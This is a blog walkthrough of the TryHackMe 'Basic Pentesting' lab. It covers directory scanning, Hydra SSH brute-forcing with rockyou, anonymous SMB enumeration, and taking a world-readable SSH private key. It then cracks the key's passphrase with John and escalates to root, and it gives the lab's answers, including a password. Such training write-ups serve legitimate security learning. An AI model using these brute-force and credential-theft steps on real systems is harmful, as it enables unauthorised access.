Hey! I’m Adwaith, an aspiring offensive security enthusiast, and I’m excited to share my walkthrough of the Basic Pentesting lab on TryHackMe. diving into brute forcing, cracking hashes, enumerating services, and escalating privileges all the way to root. Click the link below, and let’s get hacking!

1.3. What is the name of the hidden directory on the web server(enter name without /)?

Before we start looking for the hidden directory, let’s visit the page to gather some information:

It shows that the site is undergoing maintenance, so don’t leave the page. Let’s inspect the source:

We got a hint it mentions a note named dev. Let’s move on to find the hidden directory:

gobuster dir -u http://10.201.49.200/ -w /usr/share/wordlists/dirb/common.txt

Command Breakdown:

dir → Tells Gobuster we’re performing a directory/file scan.

-u → The target URL we want to scan.

-w → The wordlist Gobuster will use to try directory and file names.

Gobuster result :

===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.201.49.200/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/development          (Status: 301) [Size: 320] [--> http://10.201.49.200/development/]
/index.html           (Status: 200) [Size: 158]

The hidden directory on the web server is:

development

Let’s visit the page for the hidden directory and find out what’s there:

http://10.201.49.200/development

There are two files present in the hidden directory: dev.txt and j.txt. We recently saw the name "dev" mentioned when inspecting the homepage, but j.txt is new maybe j is a user? I’m not sure.

Let’s take a look at what’s inside these files:

dev.txt:

Inside these files, we found some interesting information. They contain names, versions, and notes about SMB configuration something we discovered in the previous scan. I also noticed some names inside the files, like K and J. Let’s open the other file next.

j.txt:

So, let’s move on to the next question.

1.4. User brute-forcing to find the username & password?

No answer needed

Let’s start a brute-force attack on SSH using those usernames: J and K.

hydra -l J -P /usr/share/wordlists/rockyou.txt 10.201.49.200 ssh

Command Breakdown:

-l → Specifies the username to try (J in this case).

-P → Specifies the password list Hydra will use to attempt logins (rockyou.txt).

ssh → The service we are targeting (SSH in this case).

J and K results:

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-31 16:16:05
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.201.49.200:22/
[STATUS] 193.00 tries/min, 193 tries in 00:01h, 14344207 to do in 1238:43h, 15 active
[STATUS] 200.33 tries/min, 601 tries in 00:03h, 14343799 to do in 1193:20h, 15 active
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

I tested both usernames through Hydra, but after waiting a long time, I didn’t get anything. Maybe the usernames are misleading, or the passwords are too complex. So, I decided to look for another approach.

Think about it: our goal is to find the username and password. We’ve gathered information from the webpage and tried SSH brute-forcing, but previously, we found some useful info in the .txt files versions and names. We tried those usernames, and if we look closer, dev.txt mentions:

apache, REST, Struts 2.5.12.

I researched this and found the following:
Apache Struts is a popular open-source framework for building Java web applications. It helps developers manage web forms, URLs, and responses in a structured way.

Actually, we found this info in dev.txt, which seems to be developer notes. It also mentions Apache, so now our goal is to find an exploit. I found some resources on ExploitDB and GitHub:

This exploit is a Remote Code Execution (RCE) vulnerability in the Apache Struts 2.5 (< 2.5.12) REST plugin using XStream. Essentially, it allows an attacker to send a specially crafted request to the server and execute arbitrary commands remotely, giving full control over the target system.

If you want to learn more about RCE, here are some references:

We were able to gain a shell through it, but I tried exploiting it by sending the crafted request to the webserver:

But I didn’t get any response on the Netcat listener:

However, we were unable to perform this RCE maybe the target is not vulnerable to this exploit. I tried different reverse shell payloads but couldn’t gain access. I even attempted it manually using Burp Suite, but the page was not found. So, I decided to look for another approach.

I mentioned the reverse shell earlier, so if you want to learn more about it, here are some references:

So finally, we tried most of the possibilities, but there was one thing we missed: SMB.
We talked about this earlier, but we didn’t test it:

As I mentioned before:
“A misconfigured SMB can allow attackers to enumerate users, access sensitive files, or exploit vulnerabilities like SMBv1 EternalBlue.”

First, I tried scanning the SMB service to see if it was vulnerable to EternalBlue. We can scan it using tools like Nmap or Metasploit, as there are modules available for this. Here are some references to check out:

Those modules can help determine if SMB is vulnerable to the EternalBlue exploit.

However, in reality, EternalBlue only works on SMBv1. Our target is running SMBv2, which means EternalBlue is patched, as SMBv2 was released to address this vulnerability.

It took me a long time and many scans to fully understand this, but now it makes sense.

You might be wondering how we can find anything if we’re scanning SMBv2. Take a close look at the Nmap script scan results it mentions , smb2-security-mode and smb2-time.

Okay, so SMBv2 is more secure and seems difficult to exploit. But the thing is, while SMBv2 is more secure than SMBv1, vulnerabilities can still exist if the system is unpatched.

I scanned SMB using Nmap scripts:

I didn’t find anything interesting, so I researched online and found that we can check if the SMB server allows anonymous login. To test this:

smbclient -L //10.201.49.200/ -N

Command Breakdown:

-L → List available shares on the target machine.
It shows you what folders/printers the server is sharing.

-N → Tells smbclient not to ask for a password (anonymous login).
Useful for checking if the server allows guest access.

For more information about SMB client commands, take a look here:

Result:

Here, the results show that anonymous login is allowed! Now I realize that SMB and FTP are quite similar both can allow anonymous access.
Let’s try to access it:

smbclient //10.201.49.200/Anonymous -N

Result:

There is a file called staff.txt, and I downloaded it to my system. Let’s take a look at what’s inside:

Now this makes sense. The file mentions two usernames: Jan and Kay. Previously, we only had the clues J and K, which is why our SSH password attacks failed we didn’t have the valid usernames.

The next phase is to brute-force SSH again, this time using the valid usernames. But before we do that, let me introduce an automation tool that can help dig deeper into SMB. We actually discovered the usernames manually, but with this automated method, you just need to enter the IP and any required parameters for your purpose.

enum4linux 10.201.49.200

results :

It automatically finds anonymous login and attempts to access the server, checking what permissions are allowed for that anonymous login. Another result shows that access to IPC$ is not allowed.

I also found another interesting result it reveals the users present on the machine:

We successfully enumerated users from SMB. Here they are: Kay, Jan, and Ubuntu. So, we can confirm that Kay and Jan exist on the machine.

Earlier, I showed the manual method, and now this is the automated way. Which is better? The manual method is faster, but the automated way takes a bit more time while gathering information. However, it allows us to collect more detailed data using enum4linux.

For more information, check out this cheat sheet it might help:

So, we’ve gathered the usernames let’s start the SSH brute-force.
I tried both usernames, but we were only able to find the password for Jan:

After waiting for a long time, we still didn’t find Kaypassword:

Let’s try to log in using Jan SSH credentials:

We successfully accessed SSH!

1.5. What is the username?

jan

1.6. What is the password?

armando

1.7. What service do you use to access the server(answer in abbreviation in all caps)?

SSH

1.8. Enumerate the machine to find any vectors for privilege escalation?

I manually enumerated the machine to look for privilege escalation opportunities. While logged in as the Jan user, I didn’t find anything interesting inside:

jan@ip-10-201-49-200:~$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Apr 23  2018 .
drwxr-xr-x 5 root root 4096 Aug 31 12:25 ..
-rw------- 1 root jan    47 Apr 23  2018 .lesshst
jan@ip-10-201-2-46:~$ cat .lesshst
cat: .lesshst: Permission denied
jan@ip-10-201-49-200:~$ 

My intention was to go to /home and check which other users exist on this system.
There are three user folders present:

jan@ip-10-201-49-200:/home$ ls
jan  kay  ubuntu

Let’s move to Kay and see what’s inside:

jan@ip-10-201-2-46:/home$ cd kay
jan@ip-10-201-2-46:/home/kay$ ls
pass.bak
jan@ip-10-201-2-46:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
drwxr-xr-x 5 root root 4096 Aug 31 12:25 ..
-rw------- 1 kay  kay   789 Jun 22 13:41 .bash_history
-rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
-rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
drwx------ 2 kay  kay  4096 Apr 17  2018 .cache
-rw------- 1 root kay   119 Apr 23  2018 .lesshst
drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano
-rw------- 1 kay  kay    57 Apr 23  2018 pass.bak
-rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh
-rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
-rw------- 1 root kay   538 Apr 23  2018 .viminfo
jan@ip-10-201-49-200:/home/kay$ cat pass.bak 
cat: pass.bak: Permission denied

There is a file called pass.bak.
I tried to open it, but it only allows access with the Kay user permissions.

-rw------- 1 kay  kay    57 Apr 23  2018 pass.bak

Here, I found something interesting:

drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh

When we take a closer look at the permissions of the SSH directory, the last r-x means that any user on the system (like Jan) can list and read the .ssh folder.

Normally, .ssh should have permissions set to 600 (only the owner can read/write) or at least 700 to prevent other users from accessing private keys.

In our case, we are able to access and read the private .ssh key.

When I looked at the authorized_keys file, I couldn’t believe it this is almost like a joke! Let’s grab the private key.
Here is our key:

If you’re not familiar with public and private keys or how an SSH key pair works, here is a reference:

I saved the SSH key to my system, so now we can log in as Kay through SSH without a password:

Here’s the main part listen carefully.

If we try to use this private key, we can log in as Kay. But there’s a problem: there is an additional layer of password protection for the key pair, called a passphrase. During the key generation process, this passphrase is assigned by the user.

In this situation, we need to crack the passphrase!

First, we need to crack the passphrase, and for this, we can use a tool called John the Ripper. We could also use Hashcat, but for now, we’ll use John. It’s pre-built in Kali Linux. Here are some references:

We need to convert the id_rsa key to a hash format to crack the passphrase. John the Ripper cannot crack the id_rsa key directly it only works with hashes. That’s why we are converting this key to a hash format:

ssh2john id_rsa > key

this command will convert ssh key to hash formt here the result:

Let’s crack !

john key --wordlist=/usr/share/wordlists/rockyou.txt

This command will convert the SSH key to hash format. Here is the result:

Now, give the proper permissions to id_rsa:

chmod 600 id_rsa

And log in to SSH using the private key:

ssh -i id_rsa [email protected]

After entering the passphrase:

Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro
 System information as of Sun 31 Aug 2025 12:43:01 PM EDT
  System load:  0.0                Processes:             111
  Usage of /:   49.8% of 13.62GB   Users logged in:       1
  Memory usage: 47%                IPv4 address for eth0: 10.201.49.200
  Swap usage:   0%
Expanded Security Maintenance for Infrastructure is not enabled.
0 updates can be applied immediately.
Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Sun Jun 22 13:40:04 2025 from 10.23.8.228
kay@ip-10-201-49-200:~$ 

We have successfully logged in as Kay.

1.9. What is the name of the other user you found(all lower case)?

kay

2. If you have found another user, what can you do with this information?

No answer needed

We found the user Kay. When we navigated to /home/kay/, we discovered misconfigured permissions on the .ssh folder, which allowed us to access the id_rsa private key. This can be considered both a misconfiguration and a privilege escalation vector.

2.1. What is the final password you obtain?

So, let’s list the contents of Kay’s directory again:

Now we can access pass.bak, and we have obtained the password!

Let’s become root by entering the password, and then grab the root flag!

“‎‎‎‎‎‎‎ Flagssssss obtained target breached!!!!!!!!!!! ”

Thanks for coming! Stay curious, stay ethical!

Follow me for more about cybersecurity: Medium, Github, LinkedIN

This challenge was created by ASHU. Thank you for investing your time and effort to develop it so that I can sharpen my skills!